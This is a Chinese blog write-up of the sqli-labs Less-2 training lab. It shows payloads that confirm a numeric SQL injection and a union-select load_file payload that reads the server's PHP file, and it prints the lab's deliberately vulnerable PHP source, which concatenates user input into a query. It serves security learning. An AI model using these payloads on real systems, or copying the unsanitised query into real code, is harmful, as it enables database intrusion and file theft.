sqli-labs之Less-2 | 涂寐's Blogs

声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！
本文首发于涂寐’s Blogs：https://0xtlu.github.io/article/8fd496ea.html

0x00 类型确定

直接写入/?id=1'，得到报错' LIMIT 0,1；为证实为数字型，再使用and 1=1验证，正常显示，若使用and 1=2无账密显示，由此，完全可以确认为数字型注入。

1 2	http://192.168.184.129:49154/Less-2/?id=1' http://192.168.184.129:49154/Less-2/?id=1 and 1=1

0x01 简单几句

基本和Less1一致，就少了单引号，访问笔记：sqli-labs之Less-1

1 2	# 读取到的文件如何查看：view-source:网址 view-source:http://192.168.184.129:49154/Less-2/?id=-1%20union%20select%201,2,load_file(%27/var/www/html/Less-2/index.php%27)%23

0x02 分析源码

还是和Less1一致，懒得分析了，直接访问笔记：sqli-labs之Less-1

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>


</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>
</font>